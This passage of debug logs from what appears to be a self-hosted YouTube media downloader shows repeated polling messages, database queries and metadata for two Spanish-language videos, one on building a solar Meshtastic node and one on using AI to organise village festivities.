1000ms 22:17:44.166 [debug] Current batch of media processed. Will check again in 1000ms 22:17:45.118 [debug] Current batch of media processed. Will check again in 1000ms 22:17:45.167 [debug] Current batch of media processed. Will check again in 1000ms 22:17:46.119 [debug] Current batch of media processed. Will check again in 1000ms 22:17:46.168 [debug] Current batch of media processed. Will check again in 1000ms 22:17:47.123 [debug] Current batch of media processed. Will check again in 1000ms 22:17:47.169 [debug] Current batch of media processed. Will check again in 1000ms 22:17:48.124 [debug] Current batch of media processed. Will check again in 1000ms 22:17:48.170 [debug] Current batch of media processed. Will check again in 1000ms 22:17:49.125 [debug] Current batch of media processed. Will check again in 1000ms 22:17:49.171 [debug] Current batch of media processed. Will check again in 1000ms 22:17:50.126 [debug] Current batch of media processed. Will check again in 1000ms 22:17:50.172 [debug] Current batch of media processed. Will check again in 1000ms 22:17:51.127 [debug] Current batch of media processed. Will check again in 1000ms 22:17:51.161 [info] {"source":"oban","duration":814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:51.173 [debug] Current batch of media processed. Will check again in 1000ms 22:17:52.128 [debug] Current batch of media processed. Will check again in 1000ms 22:17:52.174 [debug] Current batch of media processed. Will check again in 1000ms 22:17:53.129 [debug] Current batch of media processed. Will check again in 1000ms 22:17:53.175 [debug] Current batch of media processed. Will check again in 1000ms 22:17:54.130 [debug] Current batch of media processed. Will check again in 1000ms 22:17:54.176 [debug] Current batch of media processed. Will check again in 1000ms 22:17:55.131 [debug] Current batch of media processed. Will check again in 1000ms 22:17:55.177 [debug] Current batch of media processed. Will check again in 1000ms 22:17:56.132 [debug] Current batch of media processed. Will check again in 1000ms 22:17:56.178 [debug] Current batch of media processed. Will check again in 1000ms 22:17:57.133 [debug] Current batch of media processed. Will check again in 1000ms 22:17:57.179 [debug] Current batch of media processed. Will check again in 1000ms 22:17:58.134 [debug] Current batch of media processed. Will check again in 1000ms 22:17:58.180 [debug] Current batch of media processed. Will check again in 1000ms 22:17:59.135 [debug] Current batch of media processed. Will check again in 1000ms 22:17:59.181 [debug] Current batch of media processed. Will check again in 1000ms 22:18:00.094 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:18:00.136 [debug] Current batch of media processed. Will check again in 1000ms 22:18:00.182 [debug] Current batch of media processed. Will check again in 1000ms 22:18:01.137 [debug] Current batch of media processed. Will check again in 1000ms 22:18:01.183 [debug] Current batch of media processed. Will check again in 1000ms 22:18:02.138 [debug] Current batch of media processed. Will check again in 1000ms 22:18:02.184 [debug] Current batch of media processed. Will check again in 1000ms 22:18:03.139 [debug] Current batch of media processed. Will check again in 1000ms 22:18:03.185 [debug] Current batch of media processed. Will check again in 1000ms 22:18:04.140 [debug] Current batch of media processed. Will check again in 1000ms 22:18:04.186 [debug] Current batch of media processed. Will check again in 1000ms 22:18:05.141 [debug] Current batch of media processed. Will check again in 1000ms 22:18:05.187 [debug] Current batch of media processed. Will check again in 1000ms 22:18:06.142 [debug] Current batch of media processed. Will check again in 1000ms 22:18:06.188 [debug] Current batch of media processed. Will check again in 1000ms 22:18:07.143 [debug] Current batch of media processed. Will check again in 1000ms 22:18:07.189 [debug] Current batch of media processed. Will check again in 1000ms 22:18:08.144 [debug] Current batch of media processed. Will check again in 1000ms 22:18:08.190 [debug] Current batch of media processed. Will check again in 1000ms 22:18:09.145 [debug] Current batch of media processed. Will check again in 1000ms 22:18:09.191 [debug] Current batch of media processed. Will check again in 1000ms 22:18:10.146 [debug] Current batch of media processed. Will check again in 1000ms 22:18:10.192 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Como montar un nodo Meshtastic usando una placa económica, paso a paso. Ojo, solo para cacharreadores. Para los que quieran soluciones mas montadas, el T114 de Heltec tiene caracteristicas muy similares. Incluimos tambien equipar un sensor de temperatura y un modulo para controlar las tensiones de las baterias en remoto.\n\nEnlaces del material:\n\nComunidad Española Meshtastic\nhttps://www.meshtactic.es\n\nPágina principal Meshtastic\nhttps://meshtastic.org/\n\nGrupo Telegram Catalunya\nhttps://t.me/MeshtasticGirona\n\nGrupo Telegram España\nhttps://t.me/meshtastic_esp\n\nDiseños PCB para hacerse placas Faketec:\nhttps://github.com/gargomoma/fakeTec_pcb/tree/main/gerbers\n\nPlaca ProMicro:\nhttps://www.aliexpress.com/item/1005006446457448.html\nhttps://www.aliexpress.com/item/1005007738886550.html\n\nModulo Radio HT-RA62:\nhttps://www.aliexpress.com/item/1005005543917617.html\n\nPigtail antena IPEX a conector N:\nhttps://es.aliexpress.com/item/1005005993100865.html\n\nBotones:\nhttps://www.aliexpress.com/item/4001125532910.html\n\nModulo BME280 (ojo NO BMP, seleccionar version 3.3v):\nhttps://es.aliexpress.com/item/1005004527984343.html\n\nModulo INA3221:\nhttps://es.aliexpress.com/item/1005007723353245.html\n\nCaja IP65 ABS (seleccionar medida 158x90x60mm):\nhttps://es.aliexpress.com/item/4000623518470.html\n\nCargador MPPT (seleccionar version 6v)\nhttps://es.aliexpress.com/item/1005007355378997.html\n\nPlaca Solar de 35w (mentira, 3w como mucho):\nhttps://es.aliexpress.com/item/1005007701773816.html\n\n\n\nContenido del video ------------------------------\n\n00:00 - Presentación\n00:55 - Intro Canal\n01:13 - ¿Porqué montar un nodo Solar?\n02:18 - Materiales necesarios\n20:36 - La idea de la PCB para ahorrar cables\n21:47 - Conexiones a realizar\n31:49 - Montando las placas\n37:33 - La caja ABS IP65\n40:15 - Montando en la caja\n49:34 - Arranque y protección antena\n51:54 - Configuración mínima necesaria\n1:05:00 - Telemetria tension y temperatura\n1:09:25 - Conclusiones\n\n#meshtastic #lora #868Mhz #hamradio #mesh #redes #radioaficionados #diyelectronics #emergencias #preparacionismo #preppers #solar #repetidor #mppt\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 4264, "filename" => "/downloads/music/ea3grn/153 - MONTAJE NODO LORA SOLAR PARA TERRAZA O MONTAÑA MESHTASTIC.m4a", "id" => "RLiguB2v5ec", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=RLiguB2v5ec", "playlist_index" => 28, "timestamp" => 1744304435, "title" => "153 - MONTAJE NODO LORA SOLAR PARA TERRAZA O MONTAÑA MESHTASTIC", "upload_date" => "20250410"} 22:18:10.193 [debug] QUERY OK source="sources" db=0.4ms idle=702.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:18:10.194 [debug] QUERY OK source="sources" db=0.3ms idle=435.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:18:10.195 [debug] QUERY OK source="media_items" db=0.8ms idle=435.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-10 17:00:35Z], 3] 22:18:10.197 [debug] QUERY OK source="media_items" db=1.6ms idle=436.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Como montar un nodo Meshtastic usando una placa económica, paso a paso. Ojo, solo para cacharreadores. Para los que quieran soluciones mas montadas, el T114 de Heltec tiene caracteristicas muy similares. Incluimos tambien equipar un sensor de temperatura y un modulo para controlar las tensiones de las baterias en remoto.\n\nEnlaces del material:\n\nComunidad Española Meshtastic\nhttps://www.meshtactic.es\n\nPágina principal Meshtastic\nhttps://meshtastic.org/\n\nGrupo Telegram Catalunya\nhttps://t.me/MeshtasticGirona\n\nGrupo Telegram España\nhttps://t.me/meshtastic_esp\n\nDiseños PCB para hacerse placas Faketec:\nhttps://github.com/gargomoma/fakeTec_pcb/tree/main/gerbers\n\nPlaca ProMicro:\nhttps://www.aliexpress.com/item/1005006446457448.html\nhttps://www.aliexpress.com/item/1005007738886550.html\n\nModulo Radio HT-RA62:\nhttps://www.aliexpress.com/item/1005005543917617.html\n\nPigtail antena IPEX a conector N:\nhttps://es.aliexpress.com/item/1005005993100865.html\n\nBotones:\nhttps://www.aliexpress.com/item/4001125532910.html\n\nModulo BME280 (ojo NO BMP, seleccionar version 3.3v):\nhttps://es.aliexpress.com/item/1005004527984343.html\n\nModulo INA3221:\nhttps://es.aliexpress.com/item/1005007723353245.html\n\nCaja IP65 ABS (seleccionar medida 158x90x60mm):\nhttps://es.aliexpress.com/item/4000623518470.html\n\nCargador MPPT (seleccionar version 6v)\nhttps://es.aliexpress.com/item/1005007355378997.html\n\nPlaca Solar de 35w (mentira, 3w como mucho):\nhttps://es.aliexpress.com/item/1005007701773816.html\n\n\n\nContenido del video ------------------------------\n\n00:00 - Presentación\n00:55 - Intro Canal\n01:13 - ¿Porqué montar un nodo Solar?\n02:18 - Materiales necesarios\n20:36 - La idea de la PCB para ahorrar cables\n21:47 - Conexiones a realizar\n31:49 - Montando las placas\n37:33 - La caja ABS IP65\n40:15 - Montando en la caja\n49:34 - Arranque y protección antena\n51:54 - Configuración mínima necesaria\n1:05:00 - Telemetria tension y temperatura\n1:09:25 - Conclusiones\n\n#meshtastic #lora #868Mhz #hamradio #mesh #redes #radioaficionados #diyelectronics #emergencias #preparacionismo #preppers #solar #repetidor #mppt\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "153 - MONTAJE NODO LORA SOLAR PARA TERRAZA O MONTAÑA MESHTASTIC", "115ec01d-7965-4b9c-9d0c-95009ba13e1f", 4264, false, "RLiguB2v5ec", "https://www.youtube.com/watch?v=RLiguB2v5ec", 28, "/downloads/music/ea3grn/153 - MONTAJE NODO LORA SOLAR PARA TERRAZA O MONTAÑA MESHTASTIC.m4a", false, false, false, 3, [], 98, ~U[2025-04-10 17:00:35Z], ~U[2026-02-07 21:18:10Z], ~U[2026-02-07 21:18:10Z], "Como montar un nodo Meshtastic usando una placa económica, paso a paso. Ojo, solo para cacharreadores. Para los que quieran soluciones mas montadas, el T114 de Heltec tiene caracteristicas muy similares. Incluimos tambien equipar un sensor de temperatura y un modulo para controlar las tensiones de las baterias en remoto.\n\nEnlaces del material:\n\nComunidad Española Meshtastic\nhttps://www.meshtactic.es\n\nPágina principal Meshtastic\nhttps://meshtastic.org/\n\nGrupo Telegram Catalunya\nhttps://t.me/MeshtasticGirona\n\nGrupo Telegram España\nhttps://t.me/meshtastic_esp\n\nDiseños PCB para hacerse placas Faketec:\nhttps://github.com/gargomoma/fakeTec_pcb/tree/main/gerbers\n\nPlaca ProMicro:\nhttps://www.aliexpress.com/item/1005006446457448.html\nhttps://www.aliexpress.com/item/1005007738886550.html\n\nModulo Radio HT-RA62:\nhttps://www.aliexpress.com/item/1005005543917617.html\n\nPigtail antena IPEX a conector N:\nhttps://es.aliexpress.com/item/1005005993100865.html\n\nBotones:\nhttps://www.aliexpress.com/item/4001125532910.html\n\nModulo BME280 (ojo NO BMP, seleccionar version 3.3v):\nhttps://es.aliexpress.com/item/1005004527984343.html\n\nModulo INA3221:\nhttps://es.aliexpress.com/item/1005007723353245.html\n\nCaja IP65 ABS (seleccionar medida 158x90x60mm):\nhttps://es.aliexpress.com/item/4000623518470.html\n\nCargador MPPT (seleccionar version 6v)\nhttps://es.aliexpress.com/item/1005007355378997.html\n\nPlaca Solar de 35w (mentira, 3w como mucho):\nhttps://es.aliexpress.com/item/1005007701773816.html\n\n\n\nContenido del video ------------------------------\n\n00:00 - Presentación\n00:55 - Intro Canal\n01:13 - ¿Porqué montar un nodo Solar?\n02:18 - Materiales necesarios\n20:36 - La idea de la PCB para ahorrar cables\n21:47 - Conexiones a realizar\n31:49 - Montando las placas\n37:33 - La caja ABS IP65\n40:15 - Montando en la caja\n49:34 - Arranque y protección antena\n51:54 - Configuración mínima necesaria\n1:05:00 - Telemetria tension y temperatura\n1:09:25 - Conclusiones\n\n#meshtastic #lora #868Mhz #hamradio #mesh #redes #radioaficionados #diyelectronics #emergencias #preparacionismo #preppers #solar #repetidor #mppt\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "153 - MONTAJE NODO LORA SOLAR PARA TERRAZA O MONTAÑA MESHTASTIC", 4264, false, "RLiguB2v5ec", "https://www.youtube.com/watch?v=RLiguB2v5ec", "/downloads/music/ea3grn/153 - MONTAJE NODO LORA SOLAR PARA TERRAZA O MONTAÑA MESHTASTIC.m4a", false, 3, ~U[2025-04-10 17:00:35Z]] 22:18:10.198 [debug] QUERY OK source="sources" db=0.4ms idle=438.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:18:10.198 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:18:10.199 [debug] QUERY OK source="media_items" db=0.4ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1344] 22:18:10.199 [debug] Current batch of media processed. Will check again in 1000ms 22:18:11.147 [debug] Current batch of media processed. Will check again in 1000ms 22:18:11.200 [debug] Current batch of media processed. Will check again in 1000ms 22:18:12.148 [debug] Current batch of media processed. Will check again in 1000ms 22:18:12.201 [debug] Current batch of media processed. Will check again in 1000ms 22:18:13.149 [debug] Current batch of media processed. Will check again in 1000ms 22:18:13.202 [debug] Current batch of media processed. Will check again in 1000ms 22:18:14.150 [debug] Current batch of media processed. Will check again in 1000ms 22:18:14.203 [debug] Current batch of media processed. Will check again in 1000ms 22:18:15.151 [debug] Current batch of media processed. Will check again in 1000ms 22:18:15.204 [debug] Current batch of media processed. Will check again in 1000ms 22:18:16.152 [debug] Current batch of media processed. Will check again in 1000ms 22:18:16.205 [debug] Current batch of media processed. Will check again in 1000ms 22:18:17.153 [debug] Current batch of media processed. Will check again in 1000ms 22:18:17.206 [debug] Current batch of media processed. Will check again in 1000ms 22:18:18.154 [debug] Current batch of media processed. Will check again in 1000ms 22:18:18.207 [debug] Current batch of media processed. Will check again in 1000ms 22:18:19.155 [debug] Current batch of media processed. Will check again in 1000ms 22:18:19.208 [debug] Current batch of media processed. Will check again in 1000ms 22:18:20.156 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#IAMIQUE 👉🏼 Ep.2️⃣3️⃣ : Fiestas Patronales con IA🎤🎇🍷\n\nHoy un capitulo muy especial... estamos de fiestas en nuestro pueblo ♥️Adobes♥️ , y David García Martínez y yo al igual que muchas otras personas del pueblo ayudamos a organizar las fiestas....\n\nY tu nos preguntaras #iamique ? pues te contamos en que cosas nos ha ayudado e la IA a la hora de organizar las fiestas.\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo", "duration" => 679, "filename" => "/downloads/music/IA mí QUÉ/EP.23: FIESTAS PATRONALES.m4a", "id" => "Qj0_1a1JQ00", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Qj0_1a1JQ00", "playlist_index" => 27, "timestamp" => 1755166230, "title" => "EP.23: FIESTAS PATRONALES", "upload_date" => "20250814"} 22:18:20.157 [debug] QUERY OK source="sources" db=0.6ms idle=646.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:18:20.158 [debug] QUERY OK source="sources" db=0.4ms idle=399.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:18:20.159 [debug] QUERY OK source="media_items" db=0.7ms idle=399.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-14 10:10:30Z], 2] 22:18:20.162 [debug] QUERY OK source="media_items" db=2.7ms idle=400.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#IAMIQUE 👉🏼 Ep.2️⃣3️⃣ : Fiestas Patronales con IA🎤🎇🍷\n\nHoy un capitulo muy especial... estamos de fiestas en nuestro pueblo ♥️Adobes♥️ , y David García Martínez y yo al igual que muchas otras personas del pueblo ayudamos a organizar las fiestas....\n\nY tu nos preguntaras #iamique ? pues te contamos en que cosas nos ha ayudado e la IA a la hora de organizar las fiestas.\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo", "EP.23: FIESTAS PATRONALES", "611a5da6-c42c-4bd9-9ad3-809afd617cf0", 679, false, "Qj0_1a1JQ00", "https://www.youtube.com/watch?v=Qj0_1a1JQ00", 27, "/downloads/music/IA mí QUÉ/EP.23: FIESTAS PATRONALES.m4a", false, false, false, 2, [], 97, ~U[2025-08-14 10:10:30Z], ~U[2026-02-07 21:18:20Z], ~U[2026-02-07 21:18:20Z], "#IAMIQUE 👉🏼 Ep.2️⃣3️⃣ : Fiestas Patronales con IA🎤🎇🍷\n\nHoy un capitulo muy especial... estamos de fiestas en nuestro pueblo ♥️Adobes♥️ , y David García Martínez y yo al igual que muchas otras personas del pueblo ayudamos a organizar las fiestas....\n\nY tu nos preguntaras #iamique ? pues te contamos en que cosas nos ha ayudado e la IA a la hora de organizar las fiestas.\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo", "EP.23: FIESTAS PATRONALES", 679, false, "Qj0_1a1JQ00", "https://www.youtube.com/watch?v=Qj0_1a1JQ00", "/downloads/music/IA mí QUÉ/EP.23: FIESTAS PATRONALES.m4a", false, 2, ~U[2025-08-14 10:10:30Z]] 22:18:20.162 [debug] QUERY OK source="sources" db=0.3ms idle=403.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:18:20.163 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:18:20.164 [debug] QUERY OK source="media_items" db=0.4ms idle=5.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1324] 22:18:20.164 [debug] Current batch of media processed. Will check again in 1000ms 22:18:20.209 [debug] Current batch of media processed. Will check again in 1000ms 22:18:21.162 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:21.165 [debug] Current batch of media processed. Will check again in 1000ms 22:18:21.210 [debug] Current batch of media processed. Will check again in 1000ms 22:18:22.166 [debug] Current batch of media processed. Will check again in 1000ms 22:18:22.211 [debug] Current batch of media processed. Will check again in 1000ms 22:18:23.167 [debug] Current batch of media processed. Will check again in 1000ms 22:18:23.212 [debug] Current batch of media processed. Will check again in 1000ms 22:18:24.168 [debug] Current batch of media processed. Will check again in 1000ms 22:18:24.213 [debug] Current batch of media processed. Will check again in 1000ms 22:18:25.169 [debug] Current batch of media processed. Will check again in 1000ms 22:18:25.214 [debug] Current batch of media processed. Will check again in 1000ms 22:18:26.170 [debug] Current batch of media processed. Will check again in 1000ms 22:18:26.215 [debug] Current batch of media processed. Will check again in 1000ms 22:18:27.172 [debug] Current batch of media processed. Will check again in 1000ms 22:18:27.216 [debug] Current batch of media processed. Will check again in 1000ms 22:18:28.172 [debug] Current batch of media processed. Will check again in 1000ms 22:18:28.217 [debug] Current batch of media processed. Will check again in 1000ms 22:18:29.173 [debug] Current batch of media processed. Will check again in 1000ms 22:18:29.218 [debug] Current batch of media processed. Will check again in 1000ms 22:18:30.174 [debug] Current batch of media processed. Will check again in 1000ms 22:18:30.219 [debug] Current batch of media processed. Will check again in 1000ms 22:18:31.175 [debug] Current batch of media processed. Will check again in 1000ms 22:18:31.220 [debug] Current batch of media processed. Will check again in 1000ms 22:18:32.176 [debug] Current batch of media processed. Will check again in 1000ms 22:18:32.221 [debug] Current batch of media processed. Will check again in 1000ms 22:18:33.177 [debug] Current batch of media processed. Will check again in 1000ms 22:18:33.222 [debug] Current batch of media processed. Will check again in 1000ms 22:18:34.178 [debug] Current batch of media processed. Will check again in 1000ms 22:18:34.223 [debug] Current batch of media processed. Will check again in 1000ms 22:18:35.179 [debug] Current batch of media processed. Will check again in 1000ms 22:18:35.224 [debug] Current batch of media processed. Will check again in 1000ms 22:18:36.180 [debug] Current batch of media processed. Will check again in 1000ms 22:18:36.225 [debug] Current batch of media processed. Will check again in 1000ms 22:18:37.181 [debug] Current batch of media processed. Will check again in 1000ms 22:18:37.226 [debug] Current batch of media processed. Will check again in 1000ms 22:18:38.182 [debug] Current batch of media processed. Will check again in 1000ms 22:18:38.227 [debug] Current batch of media processed. Will check again in 1000ms 22:18:39.183 [debug] Current batch of media processed. Will check again in 1000ms 22:18:39.228 [debug] Current batch of media processed. Will check again in 1000ms 22:18:40.184 [debug] Current batch of media processed. Will check again in 1000ms 22:18:40.229 [debug] Current batch of media processed. Will check again in 1000ms 22:18:41.185 [debug] Current batch of media processed. Will check again in 1000ms 22:18:41.230 [debug] Current batch of media processed. Will check again in 1000ms 22:18:42.186 [debug] Current batch of media processed. Will check again in 1000ms 22:18:42.231 [debug] Current batch of media processed. Will check again in 1000ms 22:18:43.187 [debug] Current batch of media processed. Will check again in 1000ms 22:18:43.232 [debug] Current batch of media processed. Will check again in 1000ms 22:18:44.188 [debug] Current batch of media processed. Will check again in 1000ms 22:18:44.233 [debug] Current batch of media processed. Will check again in 1000ms 22:18:45.189 [debug] Current batch of media processed. Will check again in 1000ms 22:18:45.234 [debug] Current batch of media processed. Will check again in 1000ms 22:18:46.190 [debug] Current batch of media processed. Will check again in 1000ms 22:18:46.235 [debug] Current batch of media processed. Will check again in 1000ms 22:18:47.191 [debug] Current batch of media processed. Will check again in 1000ms 22:18:47.236 [debug] Current batch of media processed. Will check again in 1000ms 22:18:48.192 [debug] Current batch of media processed. Will check again in 1000ms 